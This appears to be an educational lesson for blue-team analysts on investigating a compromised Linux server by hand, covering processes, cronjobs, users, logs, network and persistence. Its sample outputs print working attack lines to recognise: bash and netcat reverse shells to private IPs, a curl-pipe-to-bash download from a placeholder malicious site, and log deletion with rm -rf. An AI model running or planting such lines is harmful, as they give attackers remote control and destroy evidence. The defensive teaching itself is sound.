← Back to Lessons

Incident Investigation Guide for Blue Team Analysts

Step 1: General System Observation
  • Suggested checks:

This guide is designed to help you methodically investigate an incident on a compromised Linux server. More than just a list of commands, it is a sequence of guided steps with key questions that will allow you to detect suspicious activity, identify persistence mechanisms, and apply solid defensive logic, just as a professional Blue Team analyst would.

Learning to perform this investigation manually not only strengthens your analytical skills, but also prepares you to face real-world scenarios where automated tools may fail, be absent, or even have been tampered with. Additionally, in many restricted environments or during technical certifications, their use may not be allowed. This methodology teaches you to detect patterns, anomalies, and correlations yourself, and to justify each action with solid arguments—something fundamental in forensic and professional cybersecurity contexts.

Step 1: General System Observation

Key questions:

  • Is the system responding slower than usual?
  • Is it using CPU, RAM, or network resources in a strange way?

Suggested checks:

1uptime

uptime shows how long the system has been running and its average load over 1, 5, and 15 minutes.

What to look for? Disproportionate load that may indicate intensive or malicious looping processes.

1free -h

free -h shows RAM and swap usage in a human-readable format.

What to look for? Excessive swap usage or little free memory when idle.

1top # or htop

top displays active processes sorted by CPU or RAM usage in real time.

What to look for? Processes like python, nc, bash, perl with high CPU usage without justification.

1ip a

ip a shows network interfaces, IP addresses, and interface status.

What to look for? Unexpected interfaces like tun0, docker0, or IPs that do not belong to your network.

Step 2: Review Active Processes

An attacker who has gained access to the system will likely run processes to establish control, exfiltrate information, or maintain persistence. Reviewing running processes lets you detect unusual activity, such as interactive shells, tunnels, remote scripts, or disguised processes. This step is crucial for identifying in-memory malware or fileless executions.

Key questions:

  • Are there processes with strange names or unusual locations?
  • Are there processes running as root that shouldn't be?
1ps aux --sort=start_time

ps aux --sort=start_time lists all active processes with detailed information: user, CPU and memory usage, start time, command, etc.
The --sort=start_time flag sorts them by start time, so the most recently started processes appear at the end (useful for spotting recent processes).

Example of suspicious output:

1root 20312 0.0 0.1 34500 4200 ? Ss 11:05 0:00 /bin/bash -c bash -i >& /dev/tcp/192.168.1.5/4444 0>&1 2nobody 20344 0.0 0.2 19100 5100 ? S 11:05 0:00 nc -e /bin/bash 192.168.1.5 4444

What to look for?

  • Processes run by root that you don't recognize
  • Suspicious commands: nc, curl, python, bash, sh, perl
  • Processes from odd paths: /tmp/, /dev/shm/, /opt/.hidden/
  • Commands that appear truncated or incomplete (could be hiding something)
1pstree -p

pstree -p shows a hierarchical tree view of processes. Ideal for seeing who launched what, especially if there are child processes started from hidden shells.

Example of suspicious output:

1systemd(1)─┬─cron(623)───bash(10233)───python(10260) 2 └─sshd(1100)───sshd(2044)───bash(2045)───nc(2046)

What to look for?

  • cron or systemd launching processes they shouldn't
  • Orphan processes (no known parent)
  • Branches with unusual scripts like python, bash, sh, perl stemming from trusted processes
  • Unexpected hierarchies (e.g., sshd → bash → nc)
1ps aux | grep -v "[" | less

This command is useful to focus on user or script processes, ignoring the “noise” from internal system processes.

  • ps aux: lists all active system processes, with info about user, CPU and memory usage, start time, and command.
  • grep -v "[": filters out lines containing brackets ([ ]), typically used by kernel or internal system processes (e.g., [kthreadd]).
  • less: allows comfortable, paginated navigation of the output.

Example of suspicious output:

1student 4383 0.0 0.1 15600 2800 ? S 11:11 0:00 bash 2student 4390 0.0 0.0 12345 1600 ? S 11:11 0:00 python -c 'import socket,os,pty; s=socket...' 3root 4402 0.0 0.0 17800 2100 ? S 11:11 0:00 sh /tmp/.hidden/backup.sh

What to look for?

  • Processes you don't recognize as part of the OS or your installed tools
  • Direct shell executions (bash, sh) outside interactive sessions
  • Use of interpreters like python, perl, php to run scripts from unusual paths
  • Presence of proxies, tunnels, or reverse shells (ssh -R, curl, wget, socat, nc)

Step 3: Review Scheduled Tasks (cronjobs)

Scheduled tasks can be used by attackers to maintain persistence, run reverse shells, or automate malware.

Key questions:

  • Are there tasks run by root that I don't recognize?
  • Are scripts run from unusual or hidden paths?
  • Are there tasks repeating every few minutes without clear justification?
  • Does the script or task name look disguised or misleading?
1ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l

This set of commands helps identify persistently scheduled tasks, both system-wide and for individual users.

  • ls /etc/cron.d/: lists system-defined cronjobs.
  • cat /etc/cron.d/*: shows the contents of cronjobs in that path.
  • crontab -l: lists the current user's scheduled tasks.

Example of a malicious cronjob:

1*/5 * * * * root bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

What to look for? Tasks run by root every few minutes without clear justification, or scripts with unusual paths like /tmp, /opt/.scripts/, .backup, .monitor

How to know how often a cronjob runs?

A cronjob's syntax has 5 time fields:

FieldValueMeaning
Minute*/5Every 5 minutes (00, 05, 10, ..., 55)
Hour*Every hour (00–23)
Day of month*Every day of the month
Month*Every month
Day of week*Every day of the week

To check or visualize it, you can use tools like: https://crontab.guru. Just copy and paste */5 * * * * and you'll see a clear text explanation.

Step 4: Review Users and Access

One of the most common persistence methods is creating hidden users or abusing existing accounts with active shells. It's essential to review who is allowed interactive access to the system.

Key questions:

  • Are there unknown or undocumented accounts?
  • Are there users with unusual home directories or shells?
  • Has any account been created with a generic name (e.g., backup, test, data, etc.)?
  • Are system accounts configured to allow interactive access?

Useful command:

1cat /etc/passwd | grep -v "/usr/sbin/nologin"

Shows system users who have access to an interactive shell, excluding system or locked accounts (those using /usr/sbin/nologin).

Suspicious example:

1backup:x:1003:1003::/opt/backup:/bin/bash 2sysadmin:x:1010:1010::/var/tmp/sysadmin:/bin/sh

What to look for?

  • Undocumented users or those created without justification (e.g., backup, sysadmin, datauser)
  • Shells other than /bin/bash or unusual home directories (like /var/tmp/, /opt/)

Useful command:

1last -a

last -a shows the last logins to the system, indicating username, terminal, IP address, and session duration.

Suspicious example:

1admin pts/0 203.0.113.45 Tue Jun 11 03:24 still logged in

What to look for?

  • Connections from public or unknown IPs
  • Atypical times that don't match expected system activity

Useful command:

1grep "Failed password" /var/log/auth.log

Searches for failed authentication attempts, usually related to SSH or password-protected services.

Suspicious example:

1Failed password for invalid user admin from 203.0.113.45 port 51190 ssh2 2Failed password for root from 203.0.113.12 port 58721 ssh2

What to look for?

  • Brute force attacks from the same IP
  • Attempts to access with invalid or unknown usernames

Step 5: Review System Logs

Log files are vital for reconstructing what happened on a system. They allow you to track access, executed commands, and errors that may have been caused by an attacker. Analyzing key system logs helps you detect anomalous activity, identify remote access, brute force attempts, or unauthorized command execution.

Key questions:

  • Were there unusual SSH logins?
  • Were suspicious commands run or run outside normal hours?
  • Were there failed authentication attempts from the same IP?
  • Are there gaps in the logs indicating deletion or tampering?
1grep -i "ssh" /var/log/auth.log

Suspicious example:

Accepted password for root from 203.0.113.5 port 50100 ssh2

What to look for?

  • Connections from public or unknown IPs
  • Activity outside normal hours

Useful command:

1journalctl -xe

journalctl -xe shows critical system events, including failures, access, and service errors.

Suspicious example:

sshd[1402]: Failed password for invalid user admin from 198.51.100.77 port 41442

What to look for?

  • Services repeatedly failing
  • Activities related to sshd, cron, network, bash

Useful command:

1cat ~/.bash_history

cat ~/.bash_history shows the last commands run by the current user in their terminal.

Suspicious example:

curl http://malicious.site/shell.sh | bash
chmod +x /tmp/cleaner.sh
rm -rf /var/log/*

What to look for?

  • Commands related to network connections (nc, curl, wget, scp)
  • Manipulation of logs or sensitive files
  • Scripts launched from suspicious locations

Step 6: Review Network and Firewall

Network traffic and firewall rules can reveal a lot about activity on a compromised system. Attackers often open additional ports, set up outbound tunnels, or modify firewall rules to maintain control or evade detection. Inspecting open ports and active rules is key to detecting suspicious connections or unauthorized outbound traffic.

Key questions:

  • Are there open ports that shouldn't be?
  • Are there suspicious rules in iptables?
  • Are there active connections to unrecognized external IPs?
1ss -tuln

Shows open sockets and services listening on TCP/UDP ports.

Suspicious example:

LISTEN  0  5  0.0.0.0:4444  0.0.0.0:*  users:("bash",pid=20312,fd=3)

What to look for?

  • Unusual open ports (e.g., 4444, 8080, 9001)
  • Services you shouldn't be exposing (like nc, python3 -m http.server)

Useful command:

1iptables -L -n -v

iptables -L -n -v lists active firewall rules without resolving DNS names.

Suspicious example:

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0

What to look for?

  • Overly permissive ACCEPT rules
  • Lack of rules on publicly exposed servers

Step 7: Detecting Persistence and Backdoors

Once an attacker compromises a system, they often leave mechanisms to regain access without exploiting the same vulnerability again. These persistence methods can take the form of scripts that run at startup, fake services, scheduled tasks, or even modified binaries. Detecting them in time is essential to cut off attacker access and restore system integrity.

Key questions:

  • Are there hidden scripts in sensitive directories like /etc/init.d/, /lib/systemd/, /opt/, /tmp/?
  • Are there new or recently modified services?
  • Are there suspicious commands or paths associated with persistent processes?

Useful command:

1ls -la /usr/local/bin/

Shows custom local executables.

Suspicious example:

-rwxr-xr-x 1 root root  1243 Jun 11 11:05 updater.sh

What to look for? Scripts or binaries with recent dates, strange names, or executable permissions on suspicious files

Useful command:

1find /opt -type f -iname "*.sh"

Searches for .sh scripts in the /opt directory, commonly used for auxiliary storage.

Suspicious example:

/opt/.backup/install.sh
/opt/data/cleanup.sh

What to look for? Scripts with ambiguous or malicious names (check.sh, cleaner.sh, update.sh)

Useful command:

1cat /etc/rc.local

Shows the contents of the rc.local startup script, if enabled.

Example of a malicious line:

bash -i >& /dev/tcp/192.168.1.50/9001 0>&1

What to look for? Commands that run scripts at system startup or redirections to external IPs

Useful command:

1systemctl list-units --type=service --state=running

Shows active services managed by systemd.

Suspicious example:

logrotate-backup.service loaded active running Backup Service

What to look for? Services with uncommon or duplicate names, or scripts that shouldn't start with the system

Step 8: Confirm Findings and Take Action

Document your findings with screenshots or evidence, list what you would remove, block, and reinforce, and if possible, share your findings with a colleague for validation.

Key questions:

  • Can you explain what's happening?
  • Did you identify implicated processes, users, tasks, or connections?

In summary: This methodology is professional, educational, and applicable to real-world environments. Tools can help, but the analyst's judgment is irreplaceable.